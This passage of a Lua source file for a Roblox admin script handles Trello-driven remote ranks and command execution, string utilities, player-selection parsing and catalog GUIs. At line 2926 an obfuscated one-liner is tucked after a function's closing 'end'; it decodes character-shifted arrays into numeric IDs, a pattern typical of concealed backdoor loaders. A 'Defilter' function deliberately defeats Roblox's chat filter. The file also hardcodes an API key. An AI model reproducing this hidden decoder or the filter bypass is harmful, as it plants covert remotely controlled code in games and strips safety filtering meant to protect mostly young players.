2555 Joke = string.gsub(Joke, " ", "") -- tab
2556 Joke = string.gsub(Joke, "</ul>", "")
2557 Joke = string.gsub(Joke, "<ul>", "")
2558 Joke = string.gsub(Joke, "</li>", [[
2559
2560]])
2561 Joke = string.gsub(Joke, "<li>", "")
2562 Joke = string.gsub(Joke, "</p>", "")
2563 Joke = string.gsub(Joke, "<p>", "")
2564 Joke = string.gsub(Joke, "<", "")
2565 Joke = string.gsub(Joke, ">", "")
2566 end
2567
2568 return Joke
2569end
2570
2571function REMOTE:GetAddon()
2572 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2573end
2574
2575function REMOTE:TrelloGetAdminBoard()
2576 local BoardsJSON,Boards,ReturnBoard
2577
2578 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2579
2580 if BoardsJSON then
2581 Boards = REMOTE:Decode(BoardsJSON)
2582 end
2583 if Boards then
2584 for _,Board in pairs(Boards) do
2585 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2586 ReturnBoard = Board
2587 break
2588 end
2589 end
2590 if not ReturnBoard then -- create board if not created
2591 print("Creating Trello Board")
2592 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2593 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2594 ReturnBoard = REMOTE:Decode(BoardJSON)
2595 end
2596 end
2597 return ReturnBoard
2598end
2599
2600function REMOTE:TrelloGetAdminLists(Board)
2601 local Required = {}
2602 local ListJSON,Lists
2603 local ReturnLists = {}
2604
2605 for _,List in pairs(Trello.RequiredLists) do
2606 table.insert(Required, List)
2607 end
2608
2609 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2610
2611 if ListJSON then
2612 Lists = REMOTE:Decode(ListJSON)
2613 end
2614 if Lists then
2615 for _,List in pairs(Lists) do
2616 for Num,Rel in pairs(Required) do
2617 if List.name == Rel.name then
2618 table.remove(Required, Num)
2619 table.insert(ReturnLists, List)
2620 end
2621 end
2622 end
2623 for _,Rel in pairs(Required) do
2624 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2625 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2626 end
2627 end
2628
2629 return ReturnLists
2630end
2631
2632function REMOTE:TrelloCacheData(Lists)
2633 for _,List in pairs(Lists) do
2634 local CardsJSON,Cards
2635 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2636 if CardsJSON then
2637 Cards = REMOTE:Decode(CardsJSON)
2638 end
2639 if Cards then
2640 local TemplateCards = nil
2641 for _,TemplateList in pairs(Trello.RequiredLists) do
2642 if TemplateList.name == List.name then
2643 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2644 break
2645 end
2646 end
2647
2648 for _,TemplateCard in pairs(TemplateCards) do
2649 local CardExists = false
2650 for _,Card in pairs(Cards) do
2651 if Card.name == TemplateCard.name and Card.closed == false then
2652 CardExists = true
2653 end
2654 end
2655 if not CardExists then
2656 print("Creating card "..TemplateCard.name)
2657 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2658 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2659 end
2660 end
2661
2662 if List.name == "Ranked" then
2663 for _,Card in pairs(Cards) do
2664 if Settings.Ranks[Card.name] and Card.closed == false then
2665 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2666 end
2667 end
2668 elseif List.name == "Settings" then
2669 for _,Card in pairs(Cards) do
2670 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2671 Trello.ToggleChecklist = Card.idChecklists[1]
2672 elseif Card.name == "Command Execution" then
2673 Trello.CommandID = Card.id
2674 end
2675 end
2676 end
2677 end
2678 end
2679end
2680
2681function REMOTE:TrelloHandleData(IgnoreCommand)
2682 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2683 if ToggleSettingsJSON then
2684 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2685 if Settings.LinkedAccount == "" then
2686 local NewSettings = {}
2687 for _,Item in pairs(ToggleSettings.checkItems) do
2688 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2689 end
2690 Settings.Fun = NewSettings["Fun Commands Enabled"]
2691 Settings.ServerLocked = NewSettings["Server Locked"]
2692 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2693 end
2694 else
2695 return false
2696 end
2697
2698 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2699 if CommandChatJSON then
2700 CommandChat = REMOTE:Decode(CommandChatJSON)
2701 local ClosestDT = 0
2702 for _,ChatData in pairs(CommandChat) do
2703 local DT = STRING:ConvertDateTime(ChatData.date)
2704 ClosestDT = math.max(ClosestDT, DT)
2705
2706 if not IgnoreCommand and DT > Trello.LastCommandDT then
2707 print("Executing Remote Trello Command")
2708 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2709 end
2710 end
2711 Trello.LastCommandDT = ClosestDT
2712 else
2713 return false
2714 end
2715
2716 for Rank,ID in pairs(Trello.RankChecklistCache) do
2717 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2718 if ChecklistJSON then
2719 Checklist = REMOTE:Decode(ChecklistJSON)
2720
2721 for _,Item in pairs(Checklist.checkItems) do
2722 if Item.state == "complete" then
2723 if RANK:ConvertRank(Rank) < 0 then
2724 if not RANK:ScanExileList(Item.name) then
2725 table.insert(Settings.Ranks[Rank], Item.name)
2726 end
2727 elseif RANK:ConvertRank(Rank) > 0 then
2728 if not RANK:ScanAdminList(Item.name) then
2729 table.insert(Settings.Ranks[Rank], Item.name)
2730 end
2731 end
2732 elseif Item.state == "incomplete" then
2733 for Num,Name in pairs(Settings.Ranks[Rank]) do
2734 if string.lower(Name) == string.lower(Item.name) then
2735 table.remove(Settings.Ranks[Rank], Num)
2736 end
2737 end
2738 end
2739 end
2740 else
2741 return false
2742 end
2743 end
2744 return true
2745end
2746
2747-- String functions --
2748
2749function STRING:ConvertDateTime(DateTime)
2750 local Num = 0
2751 local TotalTime = 0
2752 for i in string.gmatch(DateTime, "%d+") do
2753 Num = Num + 1
2754 DTNum = tonumber(i)
2755 if Num == 1 then
2756 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2757 elseif Num == 2 then
2758 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2759 elseif Num == 3 then
2760 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2761 elseif Num == 4 then
2762 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2763 elseif Num == 5 then
2764 TotalTime = TotalTime + DTNum * 60 -- minute
2765 elseif Num == 6 then
2766 TotalTime = TotalTime + DTNum -- second
2767 end
2768 end
2769
2770 return TotalTime
2771end
2772
2773function STRING:TrelloStateConvert(State)
2774 if State == "complete" then
2775 return true
2776 else
2777 return false
2778 end
2779end
2780
2781function STRING:StringRound(Number)
2782 Number = Number * 100
2783 if Number >= 0.5 then
2784 return tostring(math.ceil(Number)/100)
2785 else
2786 return tostring(math.floor(Number)/100)
2787 end
2788
2789 return Number
2790end
2791
2792function STRING:GetSplit(String, NumArgs, BetSplit)
2793 if not String then return nil end
2794 if BetSplit == nil then BetSplit = " " end
2795 if NumArgs == nil then NumArgs = math.huge end
2796
2797 if NumArgs <= 0 then return {String} end
2798
2799 local RecentParse = 1
2800 local Args = {}
2801 for i = 1,NumArgs do
2802 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2803 if Find1 and Find2 then
2804 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2805 RecentParse = Find2 + 1
2806 else
2807 break
2808 end
2809 end
2810 table.insert(Args,string.sub(String,RecentParse,#String))
2811 return Args
2812end
2813
2814function STRING:Defilter(String)
2815 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2816 if RobloxApprove.Text == "Label" and String ~= "Label" then
2817 local NewString = ""
2818 for i = 1,#String,3 do
2819 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2820 end
2821 return NewString
2822 else
2823 return String
2824 end
2825end
2826
2827function STRING:Filter(String, From, To) -- #### you, roblox
2828 if From then
2829 if To then
2830 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2831 else
2832 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2833 end
2834 else
2835 return String
2836 end
2837end
2838
2839function STRING:DetermineFilter(String, From, To)
2840 if ShouldFilter then
2841 return STRING:Filter(String, From, To)
2842 else
2843 return STRING:Defilter(String)
2844 end
2845end
2846
2847function STRING:LeetSpeak(Input)
2848 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2849 Input = string.gsub(Input, "LEET", "1337")
2850 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2851 Input = string.gsub(Input, "E", "3")
2852 Input = string.gsub(Input, "O", "0")
2853 Input = string.gsub(Input, "A", "4")
2854 Input = string.gsub(Input, "X", "x")
2855 Input = string.gsub(Input, "I", "1")
2856 Input = string.gsub(Input, "S", "$")
2857 return Input
2858end
2859
2860function STRING:FormatReplace(Player, Input, From)
2861 local Output = Input
2862 for _,ReplaceData in pairs(StringReplacements) do
2863 local ReplaceString = ReplaceData[1]
2864 local ReplaceStrings = {}
2865 if type(ReplaceString) == "table" then
2866 ReplaceStrings = ReplaceString
2867 else
2868 ReplaceStrings = {ReplaceString}
2869 end
2870 for _,ReplaceString in pairs(ReplaceStrings) do
2871 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2872 local Replacement = ReplaceData[4](Player)
2873 if type(Replacement) == "string" then
2874 Output = string.gsub(Output, ReplaceString, Replacement)
2875 else
2876 print(ReplaceString.." cannot be replaced")
2877 end
2878 end
2879 end
2880 end
2881 if From then
2882 return STRING:DetermineFilter(Output, From, Player)
2883 else
2884 return STRING:DetermineFilter(Output, Player)
2885 end
2886end
2887
2888function STRING:EncodeSpecialChars(Input)
2889 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2890end
2891
2892function STRING:StringToBool(String)
2893 if String == "true" then
2894 return true
2895 else
2896 return false
2897 end
2898end
2899
2900function STRING:BoolString(Value)
2901 if type(Value) == "boolean" then
2902 if Value == true then
2903 return "YES"
2904 elseif Value == false then
2905 return "NO"
2906 end
2907 else
2908 return "NO"
2909 end
2910end
2911
2912function STRING:MakeAvoidance(Length)
2913 if not Length then
2914 Length = 32
2915 end
2916 local Avoidance = ""
2917 for i = 1,Length do
2918 Num = math.random(1,2)
2919 if Num == 1 then
2920 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2921 else
2922 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2923 end
2924 end
2925 return Avoidance
2926end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2927
2928function STRING:FindAge(Days) -- By LuaModelmaker
2929 local Years = math.floor(Days/365)
2930 local OtherDays = math.fmod(Days, 365)
2931 if Years > 1 then
2932 return Years.." years and "..OtherDays.." days"
2933 elseif Years == 1 then
2934 return Years.." year and "..OtherDays.." days"
2935 elseif Years == 0 then
2936 return "(No years) "..OtherDays.." days"
2937 end
2938end
2939
2940function STRING:UnpackArgs(...)
2941 local Pack = {...}
2942 if type(Pack[1]) == "table" then Pack = Pack[1] end
2943 local ReturnString = table.concat(Pack, ", ")
2944 return ReturnString
2945end
2946
2947function STRING:GetComma(Num)
2948 local Formatted = Num
2949 while true do
2950 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2951 if _ == 0 then
2952 break
2953 end
2954 end
2955 return Formatted
2956end
2957
2958function STRING:DecodeUTF8(Value)
2959 local function DecodeString(Input)
2960 if type(Input) == "string" then
2961 for Find,Rep in pairs(HTMLDecode) do
2962 Input = string.gsub(Input, "&#"..Find..";", Rep)
2963 end
2964 Input = string.gsub(Input, """, "'")
2965 end
2966 return Input
2967 end
2968 if type(Value) == "table" then
2969 for Index,Var in pairs(Value) do
2970 Value[Index] = DecodeString(Var)
2971 end
2972 elseif type(Value) == "string" then
2973 Value = DecodeString(Value)
2974 end
2975 return Value
2976end
2977
2978function STRING:IsSpacer(Input)
2979 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2980 return true
2981 else
2982 return false
2983 end
2984end
2985
2986function STRING:IsVowel(Input)
2987 Input = string.lower(tostring(Input))
2988 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2989 return true
2990 else
2991 return false
2992 end
2993end
2994
2995function STRING:ValidE(Input)
2996 if not Input then return nil end
2997 if string.lower(Input) == "e" or Input == "~" then
2998 return true
2999 else
3000 return false
3001 end
3002end
3003
3004function STRING:Scan(String, Speaker)
3005 local ReturnPlayers,ExcludeList = {},{}
3006 if not String then String = "" end
3007 if not Speaker then print("NO SPEAKER") end
3008
3009 if string.sub(string.lower(String), 1, 12) == "includecase/" then
3010 String = string.sub(String, 13)
3011 else
3012 String = string.lower(String)
3013 end
3014 local Words = STRING:GetSplit(String, nil, "/")
3015 for _,Word in pairs(Words) do
3016 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
3017 table.insert(ReturnPlayers, Speaker)
3018 elseif Word == "all" or Word == "everyone" then
3019 for _,Player in pairs(Server.Players:GetPlayers()) do
3020 table.insert(ReturnPlayers, Player)
3021 end
3022 elseif Word == "others" or Word == "notme" then
3023 for _,Player in pairs(Server.Players:GetPlayers()) do
3024 if Player ~= Speaker then
3025 table.insert(ReturnPlayers, Player)
3026 end
3027 end
3028 elseif Word == "noobs" then
3029 for _,Player in pairs(Server.Players:GetPlayers()) do
3030 if Player.AccountAge < 365 then
3031 table.insert(ReturnPlayers, Player)
3032 end
3033 end
3034 elseif Word == "nonnoobs" then
3035 for _,Player in pairs(Server.Players:GetPlayers()) do
3036 if Player.AccountAge >= 365 then
3037 table.insert(ReturnPlayers, Player)
3038 end
3039 end
3040 elseif Word == "random" then
3041 local RandomPlayers = {}
3042 for _,Player in pairs(Server.Players:GetPlayers()) do
3043 if Player ~= Speaker then
3044 table.insert(RandomPlayers, Player)
3045 end
3046 end
3047 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
3048 elseif Word == "guests" then
3049 for _,Player in pairs(Server.Players:GetPlayers()) do
3050 if string.sub(Player.Name,1,6) == "Guest " then
3051 table.insert(ReturnPlayers, Player)
3052 end
3053 end
3054 elseif Word == "lowers" then
3055 for _,Player in pairs(Server.Players:GetPlayers()) do
3056 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
3057 table.insert(ReturnPlayers, Player)
3058 end
3059 end
3060 elseif Word == "uppers" then
3061 for _,Player in pairs(Server.Players:GetPlayers()) do
3062 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
3063 table.insert(ReturnPlayers, Player)
3064 end
3065 end
3066 elseif Word == "nbcs" then
3067 for _,Player in pairs(Server.Players:GetPlayers()) do
3068 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
3069 table.insert(ReturnPlayers, Player)
3070 end
3071 end
3072 elseif Word == "bcs" then
3073 for _,Player in pairs(Server.Players:GetPlayers()) do
3074 if Player.MembershipType == Enum.MembershipType.BuildersClub then
3075 table.insert(ReturnPlayers, Player)
3076 end
3077 end
3078 elseif Word == "tbcs" then
3079 for _,Player in pairs(Server.Players:GetPlayers()) do
3080 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
3081 table.insert(ReturnPlayers, Player)
3082 end
3083 end
3084 elseif Word == "obcs" then
3085 for _,Player in pairs(Server.Players:GetPlayers()) do
3086 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3087 table.insert(ReturnPlayers, Player)
3088 end
3089 end
3090 elseif Word == "allbcs" then
3091 for _,Player in pairs(Server.Players:GetPlayers()) do
3092 if Player.MembershipType ~= Enum.MembershipType.None then
3093 table.insert(ReturnPlayers, Player)
3094 end
3095 end
3096 elseif Word == "nonadmins" then
3097 for _,Player in pairs(Server.Players:GetPlayers()) do
3098 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3099 if IsAdminTrue == false then
3100 table.insert(ReturnPlayers, Player)
3101 end
3102 end
3103 elseif Word == "admins" then
3104 for _,Player in pairs(Server.Players:GetPlayers()) do
3105 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3106 if IsAdminTrue == true then
3107 table.insert(ReturnPlayers, Player)
3108 end
3109 end
3110 elseif Word == "friends" then
3111 for _,Player in pairs(Server.Players:GetPlayers()) do
3112 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3113 table.insert(ReturnPlayers, Player)
3114 end
3115 end
3116 elseif string.sub(Word,1,5) == "team-" then
3117 for _,Player in pairs(Server.Players:GetPlayers()) do
3118 if Player.Neutral == false then
3119 local InTeam = false
3120 for _,Team in pairs(Teams:GetTeams()) do
3121 if Team.TeamColor == Player.TeamColor then
3122 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3123 InTeam = true
3124 end
3125 end
3126 end
3127 if InTeam == true then
3128 table.insert(ReturnPlayers, Player)
3129 end
3130 end
3131 end
3132 elseif string.sub(Word,1,4) == "not-" then
3133 local NameArg = string.sub(Word,5)
3134
3135 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3136 table.insert(ExcludeList, Player)
3137 end
3138 elseif string.sub(Word,1,7) == "radius-" then
3139 local DidExe = false
3140 local NumArg = tonumber(string.sub(Word,8))
3141
3142 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3143 for _,Player in pairs(Server.Players:GetChildren()) do
3144 if Player.Character and Player.Character:FindFirstChild("Torso") then
3145 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3146 DidExe = true
3147 table.insert(ReturnPlayers, Player)
3148 end
3149 end
3150 end
3151 end
3152
3153 if DidExe then coroutine.wrap(function()
3154 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3155 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3156
3157 for i = 0,0.5,0.02 do
3158 Part.Transparency = 0.5+i
3159 wait()
3160 end
3161 Part:Destroy()
3162 end)() end
3163 elseif string.sub(Word,1,3) == "id-" then
3164 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3165 else
3166 if Word ~= "" then
3167 for _,Player in pairs(Server.Players:GetPlayers()) do
3168 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3169 table.insert(ReturnPlayers, Player)
3170 end
3171 end
3172 else
3173 table.insert(ReturnPlayers, Speaker)
3174 end
3175 end
3176 end
3177 for _,Player in pairs(ExcludeList) do
3178 if Player and Player.Parent ~= nil then
3179 for Num,Player2 in pairs(ReturnPlayers) do
3180 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3181 end
3182 end
3183 end
3184 for Num,Player in pairs(ReturnPlayers) do
3185 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3186 end
3187
3188 local PlayerDump = {}
3189 for _,Player in pairs(ReturnPlayers) do
3190 PlayerDump[Player] = true
3191 end
3192 ReturnPlayers = {}
3193 for Player,_ in pairs(PlayerDump) do
3194 table.insert(ReturnPlayers, Player)
3195 end
3196
3197 return ReturnPlayers
3198end
3199
3200-- Market functions --
3201
3202function MARKET:GetImageFormat(ID)
3203 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3204 local NewID = ID + 1
3205 for i = 1,100 do
3206 NewID = NewID -1
3207 local Product = nil
3208 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3209 if Product then
3210 if Product == 1 then
3211 break
3212 end
3213 end
3214 if i == 100 then NewID = ID end
3215 end
3216 return NewID
3217 end end
3218end
3219
3220function MARKET:GetItemInfo(ID, Cache)
3221 local Product = MarketCache[ID]
3222 if not Cache or not Product then
3223 repeat wait()
3224 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3225 until Product ~= MarketCache[ID]
3226 end
3227 MarketCache[ID] = Product
3228 return Product
3229end
3230
3231function MARKET:SearchItem(Category, Query, Subcategory)
3232 local URLAdd = ""
3233 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3234 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3235 if JSON then
3236 local Results = REMOTE:Decode(JSON)
3237 if Results then
3238 for Index,Info in pairs(Results) do
3239 Info = STRING:DecodeUTF8(Info)
3240 Results[Index] = Info
3241 MarketCache[Info.AssetId] = {
3242 AssetId = Info.AssetId;
3243 AssetTypeId = Info.AssetTypeID;
3244 ContentRatingTypeId = Info.ContentRatingTypeID;
3245 Created = Info.CreatedDate;
3246 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3247 Description = Info.Description;
3248 IsForSale = Info.IsForSale;
3249 IsLimited = Info.IsLimited;
3250 IsLimitedUnique = Info.IsLimitedUnique;
3251 IsNew = Info.IsNew;
3252 IsPublicDomain = Info.IsPublicDomain;
3253 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3254 Name = Info.Name;
3255 PriceInRobux = Info.PriceInRobux;
3256 PriceInTickets = Info.PriceInTickets;
3257 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3258 Remaining = Info.Remaining;
3259 Sales = Info.Sales;
3260 Updated = Info.Updated;
3261 }
3262 end
3263 return Results
3264 end
3265 end
3266end
3267
3268function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3269 if not Player or not Category or not Query then return nil end
3270 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3271 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3272 if Items then
3273 if #Items ~= 0 then
3274 local List,Correlate = {},{}
3275 for Num,Info in pairs(Items) do
3276 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3277 table.insert(List, Display)
3278 Correlate[Display[1]] = Info.AssetId
3279 end
3280 CloseGui:Invoke()
3281
3282 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3283 Clicked.Event:connect(function(ClickName)
3284 ClickedItem(Correlate[ClickName])
3285 end)
3286 else
3287 CloseGui:Invoke()
3288 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3289 end
3290 else
3291 CloseGui:Invoke()
3292 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3293 end
3294end
3295
3296function MARKET:AssetTypeToString(AssetType)
3297 AssetType = math.floor(tonumber(AssetType) or 0)
3298 if Assets.AssetTypes[AssetType] then
3299 return Assets.AssetTypes[AssetType]
3300 else
3301 return "Unknown"
3302 end
3303end
3304
3305function MARKET:AccessoryToSubcategory(Accessory)
3306 Accessory = string.lower(tostring(Accessory) or "")
3307 if Assets.AccessoryTypes[Accessory] then
3308 return Assets.AccessoryTypes[Accessory]
3309 else
3310 return Assets.AccessoryTypes["all"]
3311 end
3312end
3313
3314function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3315 if not Player then return nil end
3316 if not Player:FindFirstChild("PlayerGui") then return nil end
3317 if not tonumber(ProductID) then return nil end
3318
3319 local FromText = ""
3320 if From and From.Name then FromText = " | Prompted from "..From.Name end
3321
3322 local Product = MARKET:GetItemInfo(ProductID, true)
3323
3324 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3325 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3326 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3327
3328 local CanBuy = Product.IsForSale
3329 local BuyText = "Buy"
3330 local BuyColor = Color3.new(0,1,0)
3331 if CanBuy == false then
3332 BuyColor = Color3.new(1,0,0)
3333 end
3334 if Product.IsPublicDomain == true then
3335 CanBuy = true
3336 BuyColor = Color3.new(1,0.5,0.5)
3337 BuyText = "FREE!"
3338 end
3339 if OwnsAsset then
3340 CanBuy = false
3341 end
3342 if Product.AssetTypeId == 9 then
3343 CanBuy = true
3344 BuyText = "Teleport"
3345 BuyColor = Color3.new(0.5,0.5,0.5)
3346 end
3347 if CanBuy == false then
3348 BuyColor = Color3.new(1,0,0)
3349 BuyText = "Item not for sale"
3350 end
3351 if OwnsAsset and Product.AssetTypeId ~= 9 then
3352 BuyColor = Color3.new(1,0,0)
3353 BuyText = "You own this!"
3354 end
3355
3356 local ProductName = string.sub(Product.Name,1,20)
3357 if ProductID == AdminID then ProductName = Product.Name end
3358 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3359 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3360 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3361 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3362 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3363 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3364 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3365 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3366 if Product.Description then
3367 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
